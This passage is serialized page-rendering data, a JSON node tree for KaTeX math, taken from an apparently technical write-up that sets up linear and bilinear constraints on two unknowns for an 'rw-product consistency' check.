,[2977,29],[125975],{"type":24,"tag":327,"props":125976,"children":125978},{"className":125977},[2977],[125979],{"type":29,"value":125448},{"type":24,"tag":327,"props":125981,"children":125983},{"className":125982,"style":99774},[2977],[125984],{"type":29,"value":10692},{"type":24,"tag":327,"props":125986,"children":125988},{"className":125987},[2977],[125989,125998],{"type":24,"tag":327,"props":125990,"children":125992},{"className":125991},[2977,29],[125993],{"type":24,"tag":327,"props":125994,"children":125996},{"className":125995},[2977],[125997],{"type":29,"value":125467},{"type":24,"tag":327,"props":125999,"children":126001},{"className":126000},[3032],[126002],{"type":24,"tag":327,"props":126003,"children":126005},{"className":126004},[3037,3038],[126006,126035],{"type":24,"tag":327,"props":126007,"children":126009},{"className":126008},[3043],[126010,126030],{"type":24,"tag":327,"props":126011,"children":126013},{"className":126012,"style":100303},[3048],[126014],{"type":24,"tag":327,"props":126015,"children":126016},{"style":120904},[126017,126021],{"type":24,"tag":327,"props":126018,"children":126020},{"className":126019,"style":3059},[3058],[],{"type":24,"tag":327,"props":126022,"children":126024},{"className":126023},[3064,3065,3066,3067],[126025],{"type":24,"tag":327,"props":126026,"children":126028},{"className":126027,"style":120997},[2977,2978,3067],[126029],{"type":29,"value":16216},{"type":24,"tag":327,"props":126031,"children":126033},{"className":126032},[3150],[126034],{"type":29,"value":3153},{"type":24,"tag":327,"props":126036,"children":126038},{"className":126037},[3043],[126039],{"type":24,"tag":327,"props":126040,"children":126042},{"className":126041,"style":125684},[3048],[126043],{"type":24,"tag":327,"props":126044,"children":126045},{},[],{"type":24,"tag":25,"props":126047,"children":126048},{},[126049,126051,126056],{"type":29,"value":126050},"This check is linear in ",{"type":24,"tag":284,"props":126052,"children":126054},{"className":126053},[],[126055],{"type":29,"value":125788},{"type":29,"value":66},{"type":24,"tag":175,"props":126058,"children":126059},{"start":367},[126060],{"type":24,"tag":179,"props":126061,"children":126062},{},[126063,126068,126070,126075],{"type":24,"tag":188,"props":126064,"children":126065},{},[126066],{"type":29,"value":126067},"rw-product consistency",{"type":29,"value":126069}," (bilinear in ",{"type":24,"tag":284,"props":126071,"children":126073},{"className":126072},[],[126074],{"type":29,"value":125788},{"type":29,"value":5393},{"type":24,"tag":25,"props":126077,"children":126078},{},[126079],{"type":24,"tag":284,"props":126080,"children":126082},{"className":126081},[2949,2950],[126083],{"type":24,"tag":327,"props":126084,"children":126086},{"className":126085},[2955],[126087],{"type":24,"tag":327,"props":126088,"children":126090},{"className":126089,"ariaHidden":2961},[2960],[126091,126262,126433],{"type":24,"tag":327,"props":126092,"children":126094},{"className":126093},[2966],[126095,126099,126156,126160,126169,126174,126183,126188,126249,126253,126258],{"type":24,"tag":327,"props":126096,"children":126098},{"className":126097,"style":99716},[2971],[],{"type":24,"tag":327,"props":126100,"children":126102},{"className":126101},[3018],[126103,126108],{"type":24,"tag":327,"props":126104,"children":126106},{"className":126105,"style":3025},[3018,3023,3024],[126107],{"type":29,"value":125372},{"type":24,"tag":327,"props":126109,"children":126111},{"className":126110},[3032],[126112],{"type":24,"tag":327,"props":126113,"children":126115},{"className":126114},[3037,3038],[126116,126145],{"type":24,"tag":327,"props":126117,"children":126119},{"className":126118},[3043],[126120,126140],{"type":24,"tag":327,"props":126121,"children":126123},{"className":126122,"style":120981},[3048],[126124],{"type":24,"tag":327,"props":126125,"children":126126},{"style":3053},[126127,126131],{"type":24,"tag":327,"props":126128,"children":126130},{"className":126129,"style":3059},[3058],[],{"type":24,"tag":327,"props":126132,"children":126134},{"className":126133},[3064,3065,3066,3067],[126135],{"type":24,"tag":327,"props":126136,"children":126138},{"className":126137},[2977,2978,3067],[126139],{"type":29,"value":11334},{"type":24,"tag":327,"props":126141,"children":126143},{"className":126142},[3150],[126144],{"type":29,"value":3153},{"type":24,"tag":327,"props":126146,"children":126148},{"className":126147},[3043],[126149],{"type":24,"tag":327,"props":126150,"children":126152},{"className":126151,"style":121261},[3048],[126153],{"type":24,"tag":327,"props":126154,"children":126155},{},[],{"type":24,"tag":327,"props":126157,"children":126159},{"className":126158,"style":3169},[2992],[],{"type":24,"tag":327,"props":126161,"children":126163},{"className":126162},[2977,29],[126164],{"type":24,"tag":327,"props":126165,"children":126167},{"className":126166},[2977],[126168],{"type":29,"value":100593},{"type":24,"tag":327,"props":126170,"children":126172},{"className":126171,"style":99774},[2977],[126173],{"type":29,"value":10692},{"type":24,"tag":327,"props":126175,"children":126177},{"className":126176},[2977,29],[126178],{"type":24,"tag":327,"props":126179,"children":126181},{"className":126180},[2977],[126182],{"type":29,"value":125448},{"type":24,"tag":327,"props":126184,"children":126186},{"className":126185,"style":99774},[2977],[126187],{"type":29,"value":10692},{"type":24,"tag":327,"props":126189,"children":126191},{"className":126190},[2977],[126192,126201],{"type":24,"tag":327,"props":126193,"children":126195},{"className":126194},[2977,29],[126196],{"type":24,"tag":327,"props":126197,"children":126199},{"className":126198},[2977],[126200],{"type":29,"value":125467},{"type":24,"tag":327,"props":126202,"children":126204},{"className":126203},[3032],[126205],{"type":24,"tag":327,"props":126206,"children":126208},{"className":126207},[3037,3038],[126209,126238],{"type":24,"tag":327,"props":126210,"children":126212},{"className":126211},[3043],[126213,126233],{"type":24,"tag":327,"props":126214,"children":126216},{"className":126215,"style":100303},[3048],[126217],{"type":24,"tag":327,"props":126218,"children":126219},{"style":120904},[126220,126224],{"type":24,"tag":327,"props":126221,"children":126223},{"className":126222,"style":3059},[3058],[],{"type":24,"tag":327,"props":126225,"children":126227},{"className":126226},[3064,3065,3066,3067],[126228],{"type":24,"tag":327,"props":126229,"children":126231},{"className":126230},[2977,2978,3067],[126232],{"type":29,"value":11334},{"type":24,"tag":327,"props":126234,"children":126236},{"className":126235},[3150],[126237],{"type":29,"value":3153},{"type":24,"tag":327,"props":126239,"children":126241},{"className":126240},[3043],[126242],{"type":24,"tag":327,"props":126243,"children":126245},{"className":126244,"style":99857},[3048],[126246],{"type":24,"tag":327,"props":126247,"children":126248},{},[],{"type":24,"tag":327,"props":126250,"children":126252},{"className":126251,"style":2993},[2992],[],{"type":24,"tag":327,"props":126254,"children":126256},{"className":126255},[2998],[126257],{"type":29,"value":384},{"type":24,"tag":327,"props":126259,"children":126261},{"className":126260,"style":2993},[2992],[],{"type":24,"tag":327,"props":126263,"children":126265},{"className":126264},[2966],[126266,126270,126327,126331,126340,126345,126354,126359,126420,126424,126429],{"type":24,"tag":327,"props":126267,"children":126269},{"className":126268,"style":125536},[2971],[],{"type":24,"tag":327,"props":126271,"children":126273},{"className":126272},[3018],[126274,126279],{"type":24,"tag":327,"props":126275,"children":126277},{"className":126276,"style":3025},[3018,3023,3024],[126278],{"type":29,"value":125372},{"type":24,"tag":327,"props":126280,"children":126282},{"className":126281},[3032],[126283],{"type":24,"tag":327,"props":126284,"children":126286},{"className":126285},[3037,3038],[126287,126316],{"type":24,"tag":327,"props":126288,"children":126290},{"className":126289},[3043],[126291,126311],{"type":24,"tag":327,"props":126292,"children":126294},{"className":126293,"style":120981},[3048],[126295],{"type":24,"tag":327,"props":126296,"children":126297},{"style":3053},[126298,126302],{"type":24,"tag":327,"props":126299,"children":126301},{"className":126300,"style":3059},[3058],[],{"type":24,"tag":327,"props":126303,"children":126305},{"className":126304},[3064,3065,3066,3067],[126306],{"type":24,"tag":327,"props":126307,"children":126309},{"className":126308,"style":120997},[2977,2978,3067],[126310],{"type":29,"value":16216},{"type":24,"tag":327,"props":126312,"children":126314},{"className":126313},[3150],[126315],{"type":29,"value":3153},{"type":24,"tag":327,"props":126317,"children":126319},{"className":126318},[3043],[126320],{"type":24,"tag":327,"props":126321,"children":126323},{"className":126322,"style":121012},[3048],[126324],{"type":24,"tag":327,"props":126325,"children":126326},{},[],{"type":24,"tag":327,"props":126328,"children":126330},{"className":126329,"style":3169},[2992],[],{"type":24,"tag":327,"props":126332,"children":126334},{"className":126333},[2977,29],[126335],{"type":24,"tag":327,"props":126336,"children":126338},{"className":126337},[2977],[126339],{"type":29,"value":56292},{"type":24,"tag":327,"props":126341,"children":126343},{"className":126342,"style":99774},[2977],[126344],{"type":29,"value":10692},{"type":24,"tag":327,"props":126346,"children":126348},{"className":126347},[2977,29],[126349],{"type":24,"tag":327,"props":126350,"children":126352},{"className":126351},[2977],[126353],{"type":29,"value":125448},{"type":24,"tag":327,"props":126355,"children":126357},{"className":126356,"style":99774},[2977],[126358],{"type":29,"value":10692},{"type":24,"tag":327,"props":126360,"children":126362},{"className":126361},[2977],[126363,126372],{"type":24,"tag":327,"props":126364,"children":126366},{"className":126365},[2977,29],[126367],{"type":24,"tag":327,"props":126368,"children":126370},{"className":126369},[2977],[126371],{"type":29,"value":125467},{"type":24,"tag":327,"props":126373,"children":126375},{"className":126374},[3032],[126376],{"type":24,"tag":327,"props":126377,"children":126379},{"className":126378},[3037,3038],[126380,126409],{"type":24,"tag":327,"props":126381,"children":126383},{"className":126382},[3043],[126384,126404],{"type":24,"tag":327,"props":126385,"children":126387},{"className":126386,"style":100303},[3048],[126388],{"type":24,"tag":327,"props":126389,"children":126390},{"style":120904},[126391,126395],{"type":24,"tag":327,"props":126392,"children":126394},{"className":126393,"style":3059},[3058],[],{"type":24,"tag":327,"props":126396,"children":126398},{"className":126397},[3064,3065,3066,3067],[126399],{"type":24,"tag":327,"props":126400,"children":126402},{"className":126401,"style":120997},[2977,2978,3067],[126403],{"type":29,"value":16216},{"type":24,"tag":327,"props":126405,"children":126407},{"className":126406},[3150],[126408],{"type":29,"value":3153},{"type":24,"tag":327,"props":126410,"children":126412},{"className":126411},[3043],[126413],{"type":24,"tag":327,"props":126414,"children":126416},{"className":126415,"style":125684},[3048],[126417],{"type":24,"tag":327,"props":126418,"children":126419},{},[],{"type":24,"tag":327,"props":126421,"children":126423},{"className":126422,"style":3705},[2992],[],{"type":24,"tag":327,"props":126425,"children":126427},{"className":126426},[3710],[126428],{"type":29,"value":118036},{"type":24,"tag":327,"props":126430,"children":126432},{"className":126431,"style":3705},[2992],[],{"type":24,"tag":327,"props":126434,"children":126436},{"className":126435},[2966],[126437,126441,126446,126455],{"type":24,"tag":327,"props":126438,"children":126440},{"className":126439,"style":3685},[2971],[],{"type":24,"tag":327,"props":126442,"children":126444},{"className":126443},[3121],[126445],{"type":29,"value":349},{"type":24,"tag":327,"props":126447,"children":126449},{"className":126448},[2977,29],[126450],{"type":24,"tag":327,"props":126451,"children":126453},{"className":126452},[2977],[126454],{"type":29,"value":125724},{"type":24,"tag":327,"props":126456,"children":126458},{"className":126457},[3143],[126459],{"type":29,"value":3146},{"type":24,"tag":25,"props":126461,"children":126462},{},[126463,126465,126634,126635,126804],{"type":29,"value":126464},"If we vary ",{"type":24,"tag":284,"props":126466,"children":126468},{"className":126467},[2949,2950],[126469],{"type":24,"tag":327,"props":126470,"children":126472},{"className":126471},[2955],[126473],{"type":24,"tag":327,"props":126474,"children":126476},{"className":126475,"ariaHidden":2961},[2960],[126477,126555],{"type":24,"tag":327,"props":126478,"children":126480},{"className":126479},[2966],[126481,126485,126542,126546,126551],{"type":24,"tag":327,"props":126482,"children":126484},{"className":126483,"style":116744},[2971],[],{"type":24,"tag":327,"props":126486,"children":126488},{"className":126487},[2977],[126489,126494],{"type":24,"tag":327,"props":126490,"children":126492},{"className":126491},[2977,2978],[126493],{"type":29,"value":603},{"type":24,"tag":327,"props":126495,"children":126497},{"className":126496},[3032],[126498],{"type":24,"tag":327,"props":126499,"children":126501},{"className":126500},[3037,3038],[126502,126531],{"type":24,"tag":327,"props":126503,"children":126505},{"className":126504},[3043],[126506,126526],{"type":24,"tag":327,"props":126507,"children":126509},{"className":126508,"style":99826},[3048],[126510],{"type":24,"tag":327,"props":126511,"children":126512},{"style":99830},[126513,126517],{"type":24,"tag":327,"props":126514,"children":126516},{"className":126515,"style":3059},[3058],[],{"type":24,"tag":327,"props":126518,"children":126520},{"className":126519},[3064,3065,3066,3067],[126521],{"type":24,"tag":327,"props":126522,"children":126524},{"className":126523},[2977,3067],[126525],{"type":29,"value":2988},{"type":24,"tag":327,"props":126527,"children":126529},{"className":126528},[3150],[126530],{"type":29,"value":3153},{"type":24,"tag":327,"props":126532,"children":126534},{"className":126533},[3043],[126535],{"type":24,"tag":327,"props":126536,"children":126538},{"className":126537,"style":99857},[3048],[126539],{"type":24,"tag":327,"props":126540,"children":126541},{},[],{"type":24,"tag":327,"props":126543,"children":126545},{"className":126544,"style":2993},[2992],[],{"type":24,"tag":327,"props":126547,"children":126549},{"className":126548},[2998],[126550],{"type":29,"value":384},{"type":24,"tag":327,"props":126552,"children":126554},{"className":126553,"style":2993},[2992],[],{"type":24,"tag":327,"props":126556,"children":126558},{"className":126557},[2966],[126559,126563,126604,126609,126614,126619,126624,126629],{"type":24,"tag":327,"props":126560,"children":126562},{"className":126561,"style":99716},[2971],[],{"type":24,"tag":327,"props":126564,"children":126566},{"className":126565},[2977],[126567,126576,126581,126590,126595],{"type":24,"tag":327,"props":126568,"children":126570},{"className":126569},[2977,29],[126571],{"type":24,"tag":327,"props":126572,"children":126574},{"className":126573},[2977],[126575],{"type":29,"value":100593},{"type":24,"tag":327,"props":126577,"children":126579},{"className":126578,"style":99774},[2977],[126580],{"type":29,"value":10692},{"type":24,"tag":327,"props":126582,"children":126584},{"className":126583},[2977,29],[126585],{"type":24,"tag":327,"props":126586,"children":126588},{"className":126587},[2977],[126589],{"type":29,"value":125448},{"type":24,"tag":327,"props":126591,"children":126593},{"className":126592,"style":99774},[2977],[126594],{"type":29,"value":10692},{"type":24,"tag":327,"props":126596,"children":126598},{"className":126597},[2977,29],[126599],{"type":24,"tag":327,"props":126600,"children":126602},{"className":126601},[2977],[126603],{"type":29,"value":125467},{"type":24,"tag":327,"props":126605,"children":126607},{"className":126606},[3121],[126608],{"type":29,"value":11329},{"type":24,"tag":327,"props":126610,"children":126612},{"className":126611},[2977],[126613],{"type":29,"value":2988},{"type":24,"tag":327,"props":126615,"children":126617},{"className":126616},[3143],[126618],{"type":29,"value":22934},{"type":24,"tag":327,"props":126620,"children":126622},{"className":126621},[3121],[126623],{"type":29,"value":11329},{"type":24,"tag":327,"props":126625,"children":126627},{"className":126626},[2977],[126628],{"type":29,"value":2988},{"type":24,"tag":327,"props":126630,"children":126632},{"className":126631},[3143],[126633],{"type":29,"value":22934},{"type":29,"value":1323},{"type":24,"tag":284,"props":126636,"children":126638},{"className":126637},[2949,2950],[126639],{"type":24,"tag":327,"props":126640,"children":126642},{"className":126641},[2955],[126643],{"type":24,"tag":327,"props":126644,"children":126646},{"className":126645,"ariaHidden":2961},[2960],[126647,126725],{"type":24,"tag":327,"props":126648,"children":126650},{"className":126649},[2966],[126651,126655,126712,126716,126721],{"type":24,"tag":327,"props":126652,"children":126654},{"className":126653,"style":116744},[2971],[],{"type":24,"tag":327,"props":126656,"children":126658},{"className":126657},[2977],[126659,126664],{"type":24,"tag":327,"props":126660,"children":126662},{"className":126661},[2977,2978],[126663],{"type":29,"value":603},{"type":24,"tag":327,"props":126665,"children":126667},{"className":126666},[3032],[126668],{"type":24,"tag":327,"props":126669,"children":126671},{"className":126670},[3037,3038],[126672,126701],{"type":24,"tag":327,"props":126673,"children":126675},{"className":126674},[3043],[126676,126696],{"type":24,"tag":327,"props":126677,"children":126679},{"className":126678,"style":99826},[3048],[126680],{"type":24,"tag":327,"props":126681,"children":126682},{"style":99830},[126683,126687],{"type":24,"tag":327,"props":126684,"children":126686},{"className":126685,"style":3059},[3058],[],{"type":24,"tag":327,"props":126688,"children":126690},{"className":126689},[3064,3065,3066,3067],[126691],{"type":24,"tag":327,"props":126692,"children":126694},{"className":126693},[2977,3067],[126695],{"type":29,"value":3238},{"type":24,"tag":327,"props":126697,"children":126699},{"className":126698},[3150],[126700],{"type":29,"value":3153},{"type":24,"tag":327,"props":126702,"children":126704},{"className":126703},[3043],[126705],{"type":24,"tag":327,"props":126706,"children":126708},{"className":126707,"style":99857},[3048],[126709],{"type":24,"tag":327,"props":126710,"children":126711},{},[],{"type":24,"tag":327,"props":126713,"children":126715},{"className":126714,"style":2993},[2992],[],{"type":24,"tag":327,"props":126717,"children":126719},{"className":126718},[2998],[126720],{"type":29,"value":384},{"type":24,"tag":327,"props":126722,"children":126724},{"className":126723,"style":2993},[2992],[],{"type":24,"tag":327,"props":126726,"children":126728},{"className":126727},[2966],[126729,126733,126774,126779,126784,126789,126794,126799],{"type":24,"tag":327,"props":126730,"children":126732},{"className":126731,"style":99716},[2971],[],{"type":24,"tag":327,"props":126734,"children":126736},{"className":126735},[2977],[126737,126746,126751,126760,126765],{"type":24,"tag":327,"props":126738,"children":126740},{"className":126739},[2977,29],[126741],{"type":24,"tag":327,"props":126742,"children":126744},{"className":126743},[2977],[126745],{"type":29,"value":100593},{"type":24,"tag":327,"props":126747,"children":126749},{"className":126748,"style":99774},[2977],[126750],{"type":29,"value":10692},{"type":24,"tag":327,"props":126752,"children":126754},{"className":126753},[2977,29],[126755],{"type":24,"tag":327,"props":126756,"children":126758},{"className":126757},[2977],[126759],{"type":29,"value":125448},{"type":24,"tag":327,"props":126761,"children":126763},{"className":126762,"style":99774},[2977],[126764],{"type":29,"value":10692},{"type":24,"tag":327,"props":126766,"children":126768},{"className":126767},[2977,29],[126769],{"type":24,"tag":327,"props":126770,"children":126772},{"className":126771},[2977],[126773],{"type":29,"value":125467},{"type":24,"tag":327,"props":126775,"children":126777},{"className":126776},[3121],[126778],{"type":29,"value":11329},{"type":24,"tag":327,"props":126780,"children":126782},{"className":126781},[2977],[126783],{"type":29,"value":2988},{"type":24,"tag":327,"props":126785,"children":126787},{"className":126786},[3143],[126788],{"type":29,"value":22934},{"type":24,"tag":327,"props":126790,"children":126792},{"className":126791},[3121],[126793],{"type":29,"value":11329},{"type":24,"tag":327,"props":126795,"children":126797},{"className":126796},[2977],[126798],{"type":29,"value":3238},{"type":24,"tag":327,"props":126800,"children":126802},{"className":126801},[3143],[126803],{"type":29,"value":22934},{"type":29,"value":126805}," we get the following constraint:",{"type":24,"tag":25,"props":126807,"children":126808},{},[126809],{"type":24,"tag":284,"props":126810,"children":126812},{"className":126811},[2949,2950],[126813],{"type":24,"tag":327,"props":126814,"children":126816},{"className":126815},[2955],[126817],{"type":24,"tag":327,"props":126818,"children":126820},{"className":126819,"ariaHidden":2961},[2960],[126821,126900,126978,127019],{"type":24,"tag":327,"props":126822,"children":126824},{"className":126823},[2966],[126825,126830,126887,126891,126896],{"type":24,"tag":327,"props":126826,"children":126829},{"className":126827,"style":126828},[2971],"height:0.5945em;vertical-align:-0.15em;",[],{"type":24,"tag":327,"props":126831,"children":126833},{"className":126832},[2977],[126834,126839],{"type":24,"tag":327,"props":126835,"children":126837},{"className":126836},[2977,2978],[126838],{"type":29,"value":603},{"type":24,"tag":327,"props":126840,"children":126842},{"className":126841},[3032],[126843],{"type":24,"tag":327,"props":126844,"children":126846},{"className":126845},[3037,3038],[126847,126876],{"type":24,"tag":327,"props":126848,"children":126850},{"className":126849},[3043],[126851,126871],{"type":24,"tag":327,"props":126852,"children":126854},{"className":126853,"style":99826},[3048],[126855],{"type":24,"tag":327,"props":126856,"children":126857},{"style":99830},[126858,126862],{"type":24,"tag":327,"props":126859,"children":126861},{"className":126860,"style":3059},[3058],[],{"type":24,"tag":327,"props":126863,"children":126865},{"className":126864},[3064,3065,3066,3067],[126866],{"type":24,"tag":327,"props":126867,"children":126869},{"className":126868},[2977,3067],[126870],{"type":29,"value":2988},{"type":24,"tag":327,"props":126872,"children":126874},{"className":126873},[3150],[126875],{"type":29,"value":3153},{"type":24,"tag":327,"props":126877,"children":126879},{"className":126878},[3043],[126880],{"type":24,"tag":327,"props":126881,"children":126883},{"className":126882,"style":99857},[3048],[126884],{"type":24,"tag":327,"props":126885,"children":126886},{},[],{"type":24,"tag":327,"props":126888,"children":126890},{"className":126889,"style":3705},[2992],[],{"type":24,"tag":327,"props":126892,"children":126894},{"className":126893},[3710],[126895],{"type":29,"value":118036},{"type":24,"tag":327,"props":126897,"children":126899},{"className":126898,"style":3705},[2992],[],{"type":24,"tag":327,"props":126901,"children":126903},{"className":126902},[2966],[126904,126908,126965,126969,126974],{"type":24,"tag":327,"props":126905,"children":126907},{"className":126906,"style":126828},[2971],[],{"type":24,"tag":327,"props":126909,"children":126911},{"className":126910},[2977],[126912,126917],{"type":24,"tag":327,"props":126913,"children":126915},{"className":126914},[2977,2978],[126916],{"type":29,"value":603},{"type":24,"tag":327,"props":126918,"children":126920},{"className":126919},[3032],[126921],{"type":24,"tag":327,"props":126922,"children":126924},{"className":126923},[3037,3038],[126925,126954],{"type":24,"tag":327,"props":126926,"children":126928},{"className":126927},[3043],[126929,126949],{"type":24,"tag":327,"props":126930,"children":126932},{"className":126931,"style":99826},[3048],[126933],{"type":24,"tag":327,"props":126934,"children":126935},{"style":99830},[126936,126940],{"type":24,"tag":327,"props":126937,"children":126939},{"className":126938,"style":3059},[3058],[],{"type":24,"tag":327,"props":126941,"children":126943},{"className":126942},[3064,3065,3066,3067],[126944],{"type":24,"tag":327,"props":126945,"children":126947},{"className":126946},[2977,3067],[126948],{"type":29,"value":3238},{"type":24,"tag":327,"props":126950,"children":126952},{"className":126951},[3150],[126953],{"type":29,"value":3153},{"type":24,"tag":327,"props":126955,"children":126957},{"className":126956},[3043],[126958],{"type":24,"tag":327,"props":126959,"children":126961},{"className":126960,"style":99857},[3048],[126962],{"type":24,"tag":327,"props":126963,"children":126964},{},[],{"type":24,"tag":327,"props":126966,"children":126968},{"className":126967,"style":3705},[2992],[],{"type":24,"tag":327,"props":126970,"children":126972},{"className":126971},[3710],[126973],{"type":29,"value":118036},{"type":24,"tag":327,"props":126975,"children":126977},{"className":126976,"style":3705},[2992],[],{"type":24,"tag":327,"props":126979,"children":126981},{"className":126980},[2966],[126982,126986,126991,127001,127006,127010,127015],{"type":24,"tag":327,"props":126983,"children":126985},{"className":126984,"style":3685},[2971],[],{"type":24,"tag":327,"props":126987,"children":126989},{"className":126988},[3121],[126990],{"type":29,"value":349},{"type":24,"tag":327,"props":126992,"children":126994},{"className":126993},[2977,29],[126995],{"type":24,"tag":327,"props":126996,"children":126998},{"className":126997},[2977],[126999],{"type":29,"value":127000},"rest of product",{"type":24,"tag":327,"props":127002,"children":127004},{"className":127003},[3143],[127005],{"type":29,"value":3146},{"type":24,"tag":327,"props":127007,"children":127009},{"className":127008,"style":2993},[2992],[],{"type":24,"tag":327,"props":127011,"children":127013},{"className":127012},[2998],[127014],{"type":29,"value":384},{"type":24,"tag":327,"props":127016,"children":127018},{"className":127017,"style":2993},[2992],[],{"type":24,"tag":327,"props":127020,"children":127022},{"className":127021},[2966],[127023,127027],{"type":24,"tag":327,"props":127024,"children":127026},{"className":127025,"style":121794},[2971],[],{"type":24,"tag":327,"props":127028,"children":127030},{"className":127029},[2977,29],[127031],{"type":24,"tag":327,"props":127032,"children":127034},{"className":127033},[2977],[127035],{"type":29,"value":121805},{"type":24,"tag":25,"props":127037,"children":127038},{},[127039,127041,127194],{"type":29,"value":127040},"This is bilinear in ",{"type":24,"tag":284,"props":127042,"children":127044},{"className":127043},[2949,2950],[127045],{"type":24,"tag":327,"props":127046,"children":127048},{"className":127047},[2955],[127049],{"type":24,"tag":327,"props":127050,"children":127052},{"className":127051,"ariaHidden":2961},[2960],[127053],{"type":24,"tag":327,"props":127054,"children":127056},{"className":127055},[2966],[127057,127061,127066,127123,127128,127132,127189],{"type":24,"tag":327,"props":127058,"children":127060},{"className":127059,"style":3685},[2971],[],{"type":24,"tag":327,"props":127062,"children":127064},{"className":127063},[3121],[127065],{"type":29,"value":349},{"type":24,"tag":327,"props":127067,"children":127069},{"className":127068},[2977],[127070,127075],{"type":24,"tag":327,"props":127071,"children":127073},{"className":127072},[2977,2978],[127074],{"type":29,"value":603},{"type":24,"tag":327,"props":127076,"children":127078},{"className":127077},[3032],[127079],{"type":24,"tag":327,"props":127080,"children":127082},{"className":127081},[3037,3038],[127083,127112],{"type":24,"tag":327,"props":127084,"children":127086},{"className":127085},[3043],[127087,127107],{"type":24,"tag":327,"props":127088,"children":127090},{"className":127089,"style":99826},[3048],[127091],{"type":24,"tag":327,"props":127092,"children":127093},{"style":99830},[127094,127098],{"type":24,"tag":327,"props":127095,"children":127097},{"className":127096,"style":3059},[3058],[],{"type":24,"tag":327,"props":127099,"children":127101},{"className":127100},[3064,3065,3066,3067],[127102],{"type":24,"tag":327,"props":127103,"children":127105},{"className":127104},[2977,3067],[127106],{"type":29,"value":2988},{"type":24,"tag":327,"props":127108,"children":127110},{"className":127109},[3150],[127111],{"type":29,"value":3153},{"type":24,"tag":327,"props":127113,"children":127115},{"className":127114},[3043],[127116],{"type":24,"tag":327,"props":127117,"children":127119},{"className":127118,"style":99857},[3048],[127120],{"type":24,"tag":327,"props":127121,"children":127122},{},[],{"type":24,"tag":327,"props":127124,"children":127126},{"className":127125},[11695],[127127],{"type":29,"value":11698},{"type":24,"tag":327,"props":127129,"children":127131},{"className":127130,"style":3169},[2992],[],{"type":24,"tag":327,"props":127133,"children":127135},{"className":127134},[2977],[127136,127141],{"type":24,"tag":327,"props":127137,"children":127139},{"className":127138},[2977,2978],[127140],{"type":29,"value":603},{"type":24,"tag":327,"props":127142,"children":127144},{"className":127143},[3032],[127145],{"type":24,"tag":327,"props":127146,"children":127148},{"className":127147},[3037,3038],[127149,127178],{"type":24,"tag":327,"props":127150,"children":127152},{"className":127151},[3043],[127153,127173],{"type":24,"tag":327,"props":127154,"children":127156},{"className":127155,"style":99826},[3048],[127157],{"type":24,"tag":327,"props":127158,"children":127159},{"style":99830},[127160,127164],{"type":24,"tag":327,"props":127161,"children":127163},{"className":127162,"style":3059},[3058],[],{"type":24,"tag":327,"props":127165,"children":127167},{"className":127166},[3064,3065,3066,3067],[127168],{"type":24,"tag":327,"props":127169,"children":127171},{"className":127170},[2977,3067],[127172],{"type":29,"value":3238},{"type":24,"tag":327,"props":127174,"children":127176},{"className":127175},[3150],[127177],{"type":29,"value":3153},{"type":24,"tag":327,"props":127179,"children":127181},{"className":127180},[3043],[127182],{"type":24,"tag":327,"props":127183,"children":127185},{"className":127184,"style":99857},[3048],[127186],{"type":24,"tag":327,"props":127187,"children":127188},{},[],{"type":24,"tag":327,"props":127190,"children":127192},{"className":127191},[3143],[127193],{"type":29,"value":3146},{"type":29,"value":66},{"type":24,"tag":25,"props":127196,"children":127197},{},[127198,127200,127353],{"type":29,"value":127199},"We have two unknowns ",{"type":24,"tag":284,"props":127201,"children":127203},{"className":127202},[2949,2950],[127204],{"type":24,"tag":327,"props":127205,"children":127207},{"className":127206},[2955],[127208],{"type":24,"tag":327,"props":127209,"children":127211},{"className":127210,"ariaHidden":2961},[2960],[127212],{"type":24,"tag":327,"props":127213,"children":127215},{"className":127214},[2966],[127216,127220,127225,127282,127287,127291,127348],{"type":24,"tag":327,"props":127217,"children":127219},{"className":127218,"style":3685},[2971],[],{"type":24,"tag":327,"props":127221,"children":127223},{"className":127222},[3121],[127224],{"type":29,"value":349},{"type":24,"tag":327,"props":127226,"children":127228},{"className":127227},[2977],[127229,127234],{"type":24,"tag":327,"props":127230,"children":127232},{"className":127231},[2977,2978],[127233],{"type":29,"value":603},{"type":24,"tag":327,"props":127235,"children":127237},{"className":127236},[3032],[127238],{"type":24,"tag":327,"props":127239,"children":127241},{"className":127240},[3037,3038],[127242,127271],{"type":24,"tag":327,"props":127243,"children":127245},{"className":127244},[3043],[127246,127266],{"type":24,"tag":327,"props":127247,"children":127249},{"className":127248,"style":99826},[3048],[127250],{"type":24,"tag":327,"props":127251,"children":127252},{"style":99830},[127253,127257],{"type":24,"tag":327,"props":127254,"children":127256},{"className":127255,"style":3059},[3058],[],{"type":24,"tag":327,"props":127258,"children":127260},{"className":127259},[3064,3065,3066,3067],[127261],{"type":24,"tag":327,"props":127262,"children":127264},{"className":127263},[2977,3067],[127265],{"type":29,"value":2988},{"type":24,"tag":327,"props":127267,"children":127269},{"className":127268},[3150],[127270],{"type":29,"value":3153},{"type":24,"tag":327,"props":127272,"children":127274},{"className":127273},[3043],[127275],{"type":24,"tag":327,"props":127276,"children":127278},{"className":127277,"style":99857},[3048],[127279],{"type":24,"tag":327,"props":127280,"children":127281},{},[],{"type":24,"tag":327,"props":127283,"children":127285},{"className":127284},[11695],[127286],{"type":29,"value":11698},{"type":24,"tag":327,"props":127288,"children":127290},{"className":127289,"style":3169},[2992],[],{"type":24,"tag":327,"props":127292,"children":127294},{"className":127293},[2977],[127295,127300],{"type":24,"tag":327,"props":127296,"children":127298},{"className":127297},[2977,2978],[127299],{"type":29,"value":603},{"type":24,"tag":327,"props":127301,"children":127303},{"className":127302},[3032],[127304],{"type":24,"tag":327,"props":127305,"children":127307},{"className":127306},[3037,3038],[127308,127337],{"type":24,"tag":327,"props":127309,"children":127311},{"className":127310},[3043],[127312,127332],{"type":24,"tag":327,"props":127313,"children":127315},{"className":127314,"style":99826},[3048],[127316],{"type":24,"tag":327,"props":127317,"children":127318},{"style":99830},[127319,127323],{"type":24,"tag":327,"props":127320,"children":127322},{"className":127321,"style":3059},[3058],[],{"type":24,"tag":327,"props":127324,"children":127326},{"className":127325},[3064,3065,3066,3067],[127327],{"type":24,"tag":327,"props":127328,"children":127330},{"className":127329},[2977,3067],[127331],{"type":29,"value":3238},{"type":24,"tag":327,"props":127333,"children":127335},{"className":127334},[3150],[127336],{"type":29,"value":3153},{"type":24,"tag":327,"props":127338,"children":127340},{"className":127339},[3043],[127341],{"type":24,"tag":327,"props":127342,"children":127344},{"className":127343,"style":99857},[3048],[127345],{"type":24,"tag":327,"props":127346,"children":127347},{},[],{"type":24,"tag":327,"props":127349,"children":127351},{"className":127350},[3143],[127352],{"type":29,"value":3146},{"type":29,"value":127354}," and two equations, one linear and one 